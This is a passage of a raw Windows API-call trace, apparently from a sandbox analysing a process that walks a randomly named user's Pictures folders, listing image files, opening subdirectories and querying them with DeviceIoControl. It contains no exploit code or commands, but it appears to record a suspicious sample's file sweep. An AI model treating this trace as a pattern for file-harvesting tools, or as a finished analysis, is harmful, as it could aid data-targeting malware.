ftLastWriteTime.dwLowDateTime=0x3d73c980, ftLastWriteTime.dwHighDateTime=0x1d5c3ab, nFileSizeHigh=0x0, nFileSizeLow=0x67b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="d80NOkRMawbxZ.bmp", cAlternateFileName="")) returned 1 [0090.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5ef8 [0090.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13508a8 [0090.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.949] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2366cb0, ftCreationTime.dwHighDateTime=0x1d5c3ce, ftLastAccessTime.dwLowDateTime=0x6f3a44a0, ftLastAccessTime.dwHighDateTime=0x1d5c5c0, ftLastWriteTime.dwLowDateTime=0x6f3a44a0, ftLastWriteTime.dwHighDateTime=0x1d5c5c0, nFileSizeHigh=0x0, nFileSizeLow=0x82f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="I4cFJ4.jpg", cAlternateFileName="")) returned 1 [0090.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5f18 [0090.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13509b0 [0090.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.950] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbd2e340, ftCreationTime.dwHighDateTime=0x1d5c1b3, ftLastAccessTime.dwLowDateTime=0xbdf9ed90, ftLastAccessTime.dwHighDateTime=0x1d5b96b, ftLastWriteTime.dwLowDateTime=0xbdf9ed90, ftLastWriteTime.dwHighDateTime=0x1d5b96b, nFileSizeHigh=0x0, nFileSizeLow=0xb7d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="uGCfAc_ZgJEd2W1Zzjv.bmp", cAlternateFileName="")) returned 1 [0090.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5f38 [0090.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1350ab8 [0090.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.952] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbd2e340, ftCreationTime.dwHighDateTime=0x1d5c1b3, ftLastAccessTime.dwLowDateTime=0xbdf9ed90, ftLastAccessTime.dwHighDateTime=0x1d5b96b, ftLastWriteTime.dwLowDateTime=0xbdf9ed90, ftLastWriteTime.dwHighDateTime=0x1d5b96b, nFileSizeHigh=0x0, nFileSizeLow=0xb7d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="uGCfAc_ZgJEd2W1Zzjv.bmp", cAlternateFileName="")) returned 0 [0090.953] GetLastError () returned 0x12 [0090.953] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gsZGSArhFCXPX0FHJz\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0090.953] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.953] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44126490, ftCreationTime.dwHighDateTime=0x1d5bff0, ftLastAccessTime.dwLowDateTime=0xd9e206a0, ftLastAccessTime.dwHighDateTime=0x1d5ba01, ftLastWriteTime.dwLowDateTime=0xd9e206a0, ftLastWriteTime.dwHighDateTime=0x1d5ba01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.953] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7f5f30, ftCreationTime.dwHighDateTime=0x1d5b82c, ftLastAccessTime.dwLowDateTime=0x98b7ea50, ftLastAccessTime.dwHighDateTime=0x1d5c4f1, ftLastWriteTime.dwLowDateTime=0x98b7ea50, ftLastWriteTime.dwHighDateTime=0x1d5c4f1, nFileSizeHigh=0x0, nFileSizeLow=0x8bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="2M58oUMWE_.jpg", cAlternateFileName="")) returned 1 [0090.953] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb03f9bc0, ftCreationTime.dwHighDateTime=0x1d5bebe, ftLastAccessTime.dwLowDateTime=0x3d73c980, ftLastAccessTime.dwHighDateTime=0x1d5c3ab, ftLastWriteTime.dwLowDateTime=0x3d73c980, ftLastWriteTime.dwHighDateTime=0x1d5c3ab, nFileSizeHigh=0x0, nFileSizeLow=0x67b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="d80NOkRMawbxZ.bmp", cAlternateFileName="")) returned 1 [0090.953] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2366cb0, ftCreationTime.dwHighDateTime=0x1d5c3ce, ftLastAccessTime.dwLowDateTime=0x6f3a44a0, ftLastAccessTime.dwHighDateTime=0x1d5c5c0, ftLastWriteTime.dwLowDateTime=0x6f3a44a0, ftLastWriteTime.dwHighDateTime=0x1d5c5c0, nFileSizeHigh=0x0, nFileSizeLow=0x82f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="I4cFJ4.jpg", cAlternateFileName="")) returned 1 [0090.953] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbd2e340, ftCreationTime.dwHighDateTime=0x1d5c1b3, ftLastAccessTime.dwLowDateTime=0xbdf9ed90, ftLastAccessTime.dwHighDateTime=0x1d5b96b, ftLastWriteTime.dwLowDateTime=0xbdf9ed90, ftLastWriteTime.dwHighDateTime=0x1d5b96b, nFileSizeHigh=0x0, nFileSizeLow=0xb7d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="uGCfAc_ZgJEd2W1Zzjv.bmp", cAlternateFileName="")) returned 1 [0090.953] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbd2e340, ftCreationTime.dwHighDateTime=0x1d5c1b3, ftLastAccessTime.dwLowDateTime=0xbdf9ed90, ftLastAccessTime.dwHighDateTime=0x1d5b96b, ftLastWriteTime.dwLowDateTime=0xbdf9ed90, ftLastWriteTime.dwHighDateTime=0x1d5b96b, nFileSizeHigh=0x0, nFileSizeLow=0xb7d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="uGCfAc_ZgJEd2W1Zzjv.bmp", cAlternateFileName="")) returned 0 [0090.953] GetLastError () returned 0x12 [0090.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faa80) returned 1 [0090.953] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0090.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.954] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f1970, ftCreationTime.dwHighDateTime=0x1d5c440, ftLastAccessTime.dwLowDateTime=0xd506e180, ftLastAccessTime.dwHighDateTime=0x1d5be40, ftLastWriteTime.dwLowDateTime=0xd506e180, ftLastWriteTime.dwHighDateTime=0x1d5be40, nFileSizeHigh=0x0, nFileSizeLow=0xd708, dwReserved0=0x0, dwReserved1=0x0, cFileName="hy-6hs4kA7XY51JLs-C.bmp", cAlternateFileName="")) returned 1 [0090.954] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bf6d90, ftCreationTime.dwHighDateTime=0x1d5c0cf, ftLastAccessTime.dwLowDateTime=0x6674cc10, ftLastAccessTime.dwHighDateTime=0x1d5c0e2, ftLastWriteTime.dwLowDateTime=0x6674cc10, ftLastWriteTime.dwHighDateTime=0x1d5c0e2, nFileSizeHigh=0x0, nFileSizeLow=0x429b, dwReserved0=0x0, dwReserved1=0x0, cFileName="l8Jbh04702.bmp", cAlternateFileName="")) returned 1 [0090.954] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80b98f0, ftCreationTime.dwHighDateTime=0x1d5ba28, ftLastAccessTime.dwLowDateTime=0x3209d210, ftLastAccessTime.dwHighDateTime=0x1d5bae1, ftLastWriteTime.dwLowDateTime=0x3209d210, ftLastWriteTime.dwHighDateTime=0x1d5bae1, nFileSizeHigh=0x0, nFileSizeLow=0xfec5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PavY6Vp1JWOUJ6m.jpg", cAlternateFileName="")) returned 1 [0090.954] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90285fd0, ftCreationTime.dwHighDateTime=0x1d5bf58, ftLastAccessTime.dwLowDateTime=0x739b2ae0, ftLastAccessTime.dwHighDateTime=0x1d5b824, ftLastWriteTime.dwLowDateTime=0x739b2ae0, ftLastWriteTime.dwHighDateTime=0x1d5b824, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCssO2KW2d8wAeM6dA", cAlternateFileName="")) returned 1 [0090.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wcsso2kw2d8waem6da"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90285fd0, ftCreationTime.dwHighDateTime=0x1d5bf58, ftLastAccessTime.dwLowDateTime=0x739b2ae0, ftLastAccessTime.dwHighDateTime=0x1d5b824, ftLastWriteTime.dwLowDateTime=0x739b2ae0, ftLastWriteTime.dwHighDateTime=0x1d5b824, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wcsso2kw2d8waem6da"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0090.955] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.955] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.955] NtClose (Handle=0x15c) returned 0x0 [0090.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.956] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0090.956] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90285fd0, ftCreationTime.dwHighDateTime=0x1d5bf58, ftLastAccessTime.dwLowDateTime=0x739b2ae0, ftLastAccessTime.dwHighDateTime=0x1d5b824, ftLastWriteTime.dwLowDateTime=0x739b2ae0, ftLastWriteTime.dwHighDateTime=0x1d5b824, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.956] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa496b0, ftCreationTime.dwHighDateTime=0x1d5b9e8, ftLastAccessTime.dwLowDateTime=0x218b9160, ftLastAccessTime.dwHighDateTime=0x1d5c2bd, ftLastWriteTime.dwLowDateTime=0x218b9160, ftLastWriteTime.dwHighDateTime=0x1d5c2bd, nFileSizeHigh=0x0, nFileSizeLow=0x8eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="5Q89nR4KLDvbg3.jpg", cAlternateFileName="")) returned 1 [0090.956] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed54b20, ftCreationTime.dwHighDateTime=0x1d5bb41, ftLastAccessTime.dwLowDateTime=0x55379ec0, ftLastAccessTime.dwHighDateTime=0x1d5b884, ftLastWriteTime.dwLowDateTime=0x55379ec0, ftLastWriteTime.dwHighDateTime=0x1d5b884, nFileSizeHigh=0x0, nFileSizeLow=0x50eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JsmvkayhD0Og_RK7.png", cAlternateFileName="")) returned 1 [0090.956] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8180ff20, ftCreationTime.dwHighDateTime=0x1d5c35c, ftLastAccessTime.dwLowDateTime=0x642709b0, ftLastAccessTime.dwHighDateTime=0x1d5c11d, ftLastWriteTime.dwLowDateTime=0x642709b0, ftLastWriteTime.dwHighDateTime=0x1d5c11d, nFileSizeHigh=0x0, nFileSizeLow=0x18590, dwReserved0=0x0, dwReserved1=0x0, cFileName="lz6ak.jpg", cAlternateFileName="")) returned 1 [0090.956] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e9cbb0, ftCreationTime.dwHighDateTime=0x1d5bd0a, ftLastAccessTime.dwLowDateTime=0x1e20de50, ftLastAccessTime.dwHighDateTime=0x1d5b9d9, ftLastWriteTime.dwLowDateTime=0x1e20de50, ftLastWriteTime.dwHighDateTime=0x1d5b9d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OImXeY uee", cAlternateFileName="")) returned 1 [0090.956] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76204140, ftCreationTime.dwHighDateTime=0x1d5c0fa, ftLastAccessTime.dwLowDateTime=0x47097a50, ftLastAccessTime.dwHighDateTime=0x1d5c039, ftLastWriteTime.dwLowDateTime=0x47097a50, ftLastWriteTime.dwHighDateTime=0x1d5c039, nFileSizeHigh=0x0, nFileSizeLow=0x1639a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UkW5sb3C3MKBQx.gif", cAlternateFileName="")) returned 1 [0090.956] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76204140, ftCreationTime.dwHighDateTime=0x1d5c0fa, ftLastAccessTime.dwLowDateTime=0x47097a50, ftLastAccessTime.dwHighDateTime=0x1d5c039, ftLastWriteTime.dwLowDateTime=0x47097a50, ftLastWriteTime.dwHighDateTime=0x1d5c039, nFileSizeHigh=0x0, nFileSizeLow=0x1639a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UkW5sb3C3MKBQx.gif", cAlternateFileName="")) returned 0 [0090.956] GetLastError () returned 0x12 [0090.956] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0090.956] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90285fd0, ftCreationTime.dwHighDateTime=0x1d5bf58, ftLastAccessTime.dwLowDateTime=0x739b2ae0, ftLastAccessTime.dwHighDateTime=0x1d5b824, ftLastWriteTime.dwLowDateTime=0x739b2ae0, ftLastWriteTime.dwHighDateTime=0x1d5b824, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa496b0, ftCreationTime.dwHighDateTime=0x1d5b9e8, ftLastAccessTime.dwLowDateTime=0x218b9160, ftLastAccessTime.dwHighDateTime=0x1d5c2bd, ftLastWriteTime.dwLowDateTime=0x218b9160, ftLastWriteTime.dwHighDateTime=0x1d5c2bd, nFileSizeHigh=0x0, nFileSizeLow=0x8eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="5Q89nR4KLDvbg3.jpg", cAlternateFileName="")) returned 1 [0090.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed54b20, ftCreationTime.dwHighDateTime=0x1d5bb41, ftLastAccessTime.dwLowDateTime=0x55379ec0, ftLastAccessTime.dwHighDateTime=0x1d5b884, ftLastWriteTime.dwLowDateTime=0x55379ec0, ftLastWriteTime.dwHighDateTime=0x1d5b884, nFileSizeHigh=0x0, nFileSizeLow=0x50eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JsmvkayhD0Og_RK7.png", cAlternateFileName="")) returned 1 [0090.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8180ff20, ftCreationTime.dwHighDateTime=0x1d5c35c, ftLastAccessTime.dwLowDateTime=0x642709b0, ftLastAccessTime.dwHighDateTime=0x1d5c11d, ftLastWriteTime.dwLowDateTime=0x642709b0, ftLastWriteTime.dwHighDateTime=0x1d5c11d, nFileSizeHigh=0x0, nFileSizeLow=0x18590, dwReserved0=0x0, dwReserved1=0x0, cFileName="lz6ak.jpg", cAlternateFileName="")) returned 1 [0090.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e9cbb0, ftCreationTime.dwHighDateTime=0x1d5bd0a, ftLastAccessTime.dwLowDateTime=0x1e20de50, ftLastAccessTime.dwHighDateTime=0x1d5b9d9, ftLastWriteTime.dwLowDateTime=0x1e20de50, ftLastWriteTime.dwHighDateTime=0x1d5b9d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OImXeY uee", cAlternateFileName="")) returned 1 [0090.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wcsso2kw2d8waem6da\\oimxey uee"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e9cbb0, ftCreationTime.dwHighDateTime=0x1d5bd0a, ftLastAccessTime.dwLowDateTime=0x1e20de50, ftLastAccessTime.dwHighDateTime=0x1d5b9d9, ftLastWriteTime.dwLowDateTime=0x1e20de50, ftLastWriteTime.dwHighDateTime=0x1d5b9d9, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wcsso2kw2d8waem6da\\oimxey uee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0090.957] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.957] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.957] NtClose (Handle=0x15c) returned 0x0 [0090.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1350fe0) returned 1 [0090.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faa80 [0090.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1350fe0 [0090.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13510e8 [0090.959] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0090.959] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e9cbb0, ftCreationTime.dwHighDateTime=0x1d5bd0a, ftLastAccessTime.dwLowDateTime=0x1e20de50, ftLastAccessTime.dwHighDateTime=0x1d5b9d9, ftLastWriteTime.dwLowDateTime=0x1e20de50, ftLastWriteTime.dwHighDateTime=0x1d5b9d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.959] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3b028f0, ftCreationTime.dwHighDateTime=0x1d5b99d, ftLastAccessTime.dwLowDateTime=0xa2f4cb30, ftLastAccessTime.dwHighDateTime=0x1d5b8b9, ftLastWriteTime.dwLowDateTime=0xa2f4cb30, ftLastWriteTime.dwHighDateTime=0x1d5b8b9, nFileSizeHigh=0x0, nFileSizeLow=0xc208, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Rckc6oQIhc.gif", cAlternateFileName="")) returned 1 [0090.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13511f0 [0090.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faa80) returned 1 [0090.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5fd8 [0090.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13512f8 [0090.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.961] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7ed7650, ftCreationTime.dwHighDateTime=0x1d5bc83, ftLastAccessTime.dwLowDateTime=0xdf4be580, ftLastAccessTime.dwHighDateTime=0x1d5c26b, ftLastWriteTime.dwLowDateTime=0xdf4be580, ftLastWriteTime.dwHighDateTime=0x1d5c26b, nFileSizeHigh=0x0, nFileSizeLow=0xc1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9k0kUbsJvE5X8B0fvl.gif", cAlternateFileName="")) returned 1 [0090.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5ff8 [0090.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 